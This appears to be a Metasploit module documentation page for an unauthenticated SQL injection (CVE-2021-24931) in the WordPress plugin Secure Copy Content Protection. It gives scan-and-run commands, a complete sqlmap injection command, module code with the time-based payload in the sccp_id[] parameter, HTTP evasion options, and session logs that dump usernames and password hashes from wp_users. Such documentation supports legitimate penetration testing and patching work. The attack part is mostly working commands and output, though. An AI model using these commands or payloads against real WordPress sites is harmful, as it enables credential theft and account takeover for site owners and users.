Wordpress Secure Copy Content Protection and Content Locking sccp_id Unauthenticated SQLi - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/wp_secure_copy_content_protection_sqli metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Wordpress Secure Copy Content Protection and Content Locking sccp_id Unauthenticated SQLi
Module: auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
Source code: modules/auxiliary/scanner/http/wp_secure_copy_content_protection_sqli.rb
Disclosure date: 2021-11-08
Last modification time: 2022-02-24 15:43:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-24931
Secure Copy Content Protection and Content Locking, a
WordPress plugin, prior to 2.8.2 is affected by an
unauthenticated SQL injection via the sccp_id[]
parameter.
Remote attackers can exploit this vulnerability to dump
usernames and password hashes from thewp_users
table of
the affected WordPress installation. These password hashes
can then be cracked offline using tools such as Hashcat to
obtain valid login credentials for the affected WordPress
installation.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
msf auxiliary(wp_secure_copy_content_protection_sqli) > show options
... show and set options ...
msf auxiliary(wp_secure_copy_content_protection_sqli) > set RHOSTS ip-range
msf auxiliary(wp_secure_copy_content_protection_sqli) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(wp_secure_copy_content_protection_sqli) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(wp_secure_copy_content_protection_sqli) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(wp_secure_copy_content_protection_sqli) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
Secure Copy Content Protection and Content Locking, a WordPress plugin,
prior to 2.8.2 is affected by an unauthenticated SQL injection via the
sccp_id[]
parameter.
Remote attackers can exploit this vulnerability to dump usernames and password hashes
from thewp_users
table of the affected WordPress installation. These password hashes
can then be cracked offline using tools such as Hashcat to obtain valid login
credentials for the affected WordPress installation.
A vulnerable version (2.8.1) of the plugin can be downloaded here
The output from running this module will be somewhat similar to the following sqlmap
command:
sqlmap --dbms=mysql -u "http://1.1.1.1/wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)*&type=json" --technique T -T wp_users -C user_login,user_pass --dump
Verification Steps
- Install the plugin, use defaults
- Start msfconsole
- Do:
use auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- Do:
set rhosts [ip]
- Optionally set
USER_COUNT
to the number of users you want to dump the credentials of. - Do:
run
- Verify that
USER_COUNT
number of users's usernames and password hashes are gathered from thewp_users
table of the target WordPress installation. ## Options
ACTION: List Users
This action exploits the unauthenticated SQL injection and lists USER_COUNT
users and password hashes from the wp_users
table of the affected WordPress installation.
USER_COUNT
If action List Users
is selected (default), this is the number of users to enumerate the credentials of.
The larger this number, the more time it will take for the module to run. Defaults to 3
.
Scenarios
Secure Copy Content Protection and Content Locking 2.8.1 on Wordpress 5.7.5 on Ubuntu 20.04
resource (secure_copy.rb)> use auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
resource (secure_copy.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (secure_copy.rb)> set verbose true
verbose => true
resource (secure_copy.rb)> set limit 1
limit => 1
resource (secure_copy.rb)> run
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/secure-copy-content-protection/readme.txt
[*] Checking /wp-content/plugins/secure-copy-content-protection/Readme.txt
[*] Checking /wp-content/plugins/secure-copy-content-protection/README.txt
[*] Found version 2.8.1 in the plugin
[+] The target appears to be vulnerable.
[*] Enumerating Usernames and Password Hashes
[*] {SQLi} Executing (select group_concat(dwOr) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) dwOr from wp_users limit 3) fOXVNQ)
[*] {SQLi} Encoded to (select group_concat(dwOr) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0x16,0)),ifnull(user_pass,repeat(0xa1,0))) as binary) dwOr from wp_users limit 3) fOXVNQ)
[*] {SQLi} Time-based injection: expecting output of length 124
[+] Dumped table contents:
wp_users
========
user_login user_pass
---------- ---------
admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0
admin2 $P$BNS2BGBTJmjIgV0nZWxAZtRfq1l19p1
editor $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Secure Copy Content Protection and Content Locking 2.8.1 on WordPress 5.9.1 on Docker
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > set RPORT 8000
RPORT => 8000
msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > show options
Module options (auxiliary/scanner/http/wp_secure_copy_content_protection_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metas
ploit
RPORT 8000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads (max one per host)
USER_COUNT 3 yes Number of user credentials to enumerate
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
List Users Queries username, password hash for USER_COUNT users
msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Enumerating Usernames and Password Hashes
[!] Each user will take about 5-10 minutes to enumerate. Be patient.
[+] Dumped table contents:
wp_users
========
user_login user_pass
---------- ---------
normal $P$Bu9/XNK93oyUTKO.zJ9yGZfYAcbZg9.
testAdmin $P$BYWtZOfh8yqLCKA877hwBysqGdRtk/.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) >
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/wp_secure_copy_content_protection_sqli auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > show info
Name: Wordpress Secure Copy Content Protection and Content Locking sccp_id Unauthenticated SQLi
Module: auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2021-11-08
Provided by:
h00die
Hacker5preme (Ron Jost)
Krzysztof Zaj��c (kazet)
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Available actions:
Name Description
---- -----------
List Users Queries username, password hash for USER_COUNT users
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads (max one per host)
USER_COUNT 3 yes Number of user credentials to enumerate
VHOST no HTTP server virtual host
Description:
Secure Copy Content Protection and Content Locking, a WordPress
plugin, prior to 2.8.2 is affected by an unauthenticated SQL
injection via the `sccp_id[]` parameter. Remote attackers can
exploit this vulnerability to dump usernames and password hashes
from the`wp_users` table of the affected WordPress installation.
These password hashes can then be cracked offline using tools such
as Hashcat to obtain valid login credentials for the affected
WordPress installation.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-24931
https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24931/README.md
https://kazet.cc/2022/02/03/fuzzing-wordpress-plugins.html
https://www.exploit-db.com/exploits/50733
https://wpscan.com/vulnerability/1cd52d61-af75-43ed-9b99-b46c471c4231
Module Options
This is a complete list of options available in the scanner/http/wp_secure_copy_content_protection_sqli auxiliary module:
msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > show options
Module options (auxiliary/scanner/http/wp_secure_copy_content_protection_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads (max one per host)
USER_COUNT 3 yes Number of user credentials to enumerate
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
List Users Queries username, password hash for USER_COUNT users
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/wp_secure_copy_content_protection_sqli auxiliary module:
msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > show advanced
Module advanced options (auxiliary/scanner/http/wp_secure_copy_content_protection_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to fals
e for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing head
ers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disab
le)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23
are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1,
TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
SqliDelay 1.0 no The delay to sleep on time-based blind SQL injections
UserAgent Mozilla/5.0 (iPad; CPU OS 15_3_1 li no The User-Agent header to use for all requests
ke Mac OS X) AppleWebKit/605.1.15 (
KHTML, like Gecko) Version/15.2 Mob
ile/15E148 Safari/604.1
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WPCHECK true yes Check if the website is a valid WordPress install
WPCONTENTDIR wp-content yes The name of the wp-content directory
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/wp_secure_copy_content_protection_sqli module can do:
msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > show actions
Auxiliary actions:
Name Description
---- -----------
List Users Queries username, password hash for USER_COUNT users
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/wp_secure_copy_content_protection_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space
, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: spac
e, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random
, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Server not online or not detected as wordpress
Here is a relevant code snippet related to the "Server not online or not detected as wordpress" error message:
56: ]
57: end
58:
59: def check_host(_ip)
60: unless wordpress_and_online?
61: return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
62: end
63:
64: checkcode = check_plugin_version_from_readme('secure-copy-content-protection', '2.8.2')
65: if checkcode == Msf::Exploit::CheckCode::Safe
66: return Msf::Exploit::CheckCode::Safe('Secure Copy Content Protection and Content Locking version not vulnerable')
Secure Copy Content Protection and Content Locking version not vulnerable
Here is a relevant code snippet related to the "Secure Copy Content Protection and Content Locking version not vulnerable" error message:
61: return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
62: end
63:
64: checkcode = check_plugin_version_from_readme('secure-copy-content-protection', '2.8.2')
65: if checkcode == Msf::Exploit::CheckCode::Safe
66: return Msf::Exploit::CheckCode::Safe('Secure Copy Content Protection and Content Locking version not vulnerable')
67: end
68:
69: checkcode
70: end
71:
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
80: 'action' => 'ays_sccp_results_export_file',
81: 'sccp_id[]' => "#{id}) AND (SELECT #{Rex::Text.rand_text_numeric(4..20)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4..20)})-- #{Rex::Text.rand_text_alpha(4..20)}",
82: 'type' => 'json'
83: }
84: })
85: fail_with(Failure::Unreachable, 'Connection failed') unless res
86: end
87:
88: unless @sqli.test_vulnerable
89: print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")
90: return
<PEER> - Testing of SQLi failed. If this is time based, try increasing SqliDelay.
Here is a relevant code snippet related to the "<PEER> - Testing of SQLi failed. If this is time based, try increasing SqliDelay." error message:
84: })
85: fail_with(Failure::Unreachable, 'Connection failed') unless res
86: end
87:
88: unless @sqli.test_vulnerable
89: print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")
90: return
91: end
92: columns = ['user_login', 'user_pass']
93:
94: print_status('Enumerating Usernames and Password Hashes')
Each user will take about 5-10 minutes to enumerate. Be patient.
Here is a relevant code snippet related to the "Each user will take about 5-10 minutes to enumerate. Be patient." error message:
90: return
91: end
92: columns = ['user_login', 'user_pass']
93:
94: print_status('Enumerating Usernames and Password Hashes')
95: print_warning('Each user will take about 5-10 minutes to enumerate. Be patient.')
96: data = @sqli.dump_table_fields('wp_users', columns, '', datastore['USER_COUNT'])
97:
98: table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
99: data.each do |user|
100: create_credential({
Go back to menu.
Related Pull Requests
- #16294 Merged Pull Request: Msf::Payload::Apk: Replace jarsigner with apksigner
- #16288 Merged Pull Request: Msf::Payload::Apk: raise if apktool output includes Java exceptions
- #16292 Merged Pull Request: Fix typo in document of cve_2021_4034
- #16283 Merged Pull Request: Msf::Payload::Apk: raise if APK is unsigned or generating new key fails
- #16258 Merged Pull Request: Improve TLV Type handling
- #16135 Merged Pull Request: Add setg sessiontlvlogging command to log TLV packets
- #16268 Merged Pull Request: Update check comhijack
- #16141 Merged Pull Request: Add service manager commands to msfconsle
- #16179 Merged Pull Request: Update Meterpreter file existence tests for CI environments
- #16162 Merged Pull Request: Add explicit Github action permissions
- #16145 Merged Pull Request: Fix to_handler case sensitivity issue
- #16269 Merged Pull Request: Msf::Payload::Apk: Check Java is installed and apktool.jar exists
- #16270 Merged Pull Request: Msf::Payload::Apk: raise if keytool cannot parse APK file or certificate
- #16219 Merged Pull Request: Convert core enumextcmd & loadlib commands to human readable strings
- #16153 Merged Pull Request: Read full response on smtp send/recv
- #16265 Merged Pull Request: Fix race condition in jobs cleanup that could allow it to clean up twice simultaneously
- #16245 Merged Pull Request: pfSense Authenticated File Write (CVE-2021-41282)
References
- CVE-2021-24931
- https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24931/README.md
- https://kazet.cc/2022/02/03/fuzzing-wordpress-plugins.html
- EDB-50733
- WPVDB-1cd52d61-af75-43ed-9b99-b46c471c4231
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/wp_abandoned_cart_sqli
- auxiliary/scanner/http/wp_arbitrary_file_deletion
- auxiliary/scanner/http/wp_bulletproofsecurity_backups
- auxiliary/scanner/http/wp_chopslider_id_sqli
- auxiliary/scanner/http/wp_contus_video_gallery_sqli
- auxiliary/scanner/http/wp_dukapress_file_read
- auxiliary/scanner/http/wp_duplicator_file_read
- auxiliary/scanner/http/wp_easy_wp_smtp
- auxiliary/scanner/http/wp_email_sub_news_sqli
- auxiliary/scanner/http/wp_gimedia_library_file_read
- auxiliary/scanner/http/wp_learnpress_sqli
- auxiliary/scanner/http/wp_loginizer_log_sqli
- auxiliary/scanner/http/wp_mobileedition_file_read
- auxiliary/scanner/http/wp_mobile_pack_info_disclosure
- auxiliary/scanner/http/wp_modern_events_calendar_sqli
- auxiliary/scanner/http/wp_nextgen_galley_file_read
- auxiliary/scanner/http/wp_registrationmagic_sqli
- auxiliary/scanner/http/wp_simple_backup_file_read
- auxiliary/scanner/http/wp_subscribe_comments_file_read
- auxiliary/scanner/http/wp_total_upkeep_downloader
- auxiliary/scanner/http/wp_wps_hide_login_revealer
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_custom_contact_forms
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/http/wp_google_maps_sqli
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/admin/http/wp_symposium_sql_injection
- auxiliary/admin/http/wp_wplms_privilege_escalation
- auxiliary/gather/wp_all_in_one_migration_export
- auxiliary/gather/wp_ultimate_csv_importer_user_extract
- auxiliary/gather/wp_w3_total_cache_hash_extract
- auxiliary/scanner/wproxy/att_open_proxy
Authors
- h00die
- Hacker5preme (Ron Jost)
- Krzysztof ZajÄ…c (kazet)
Version
This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.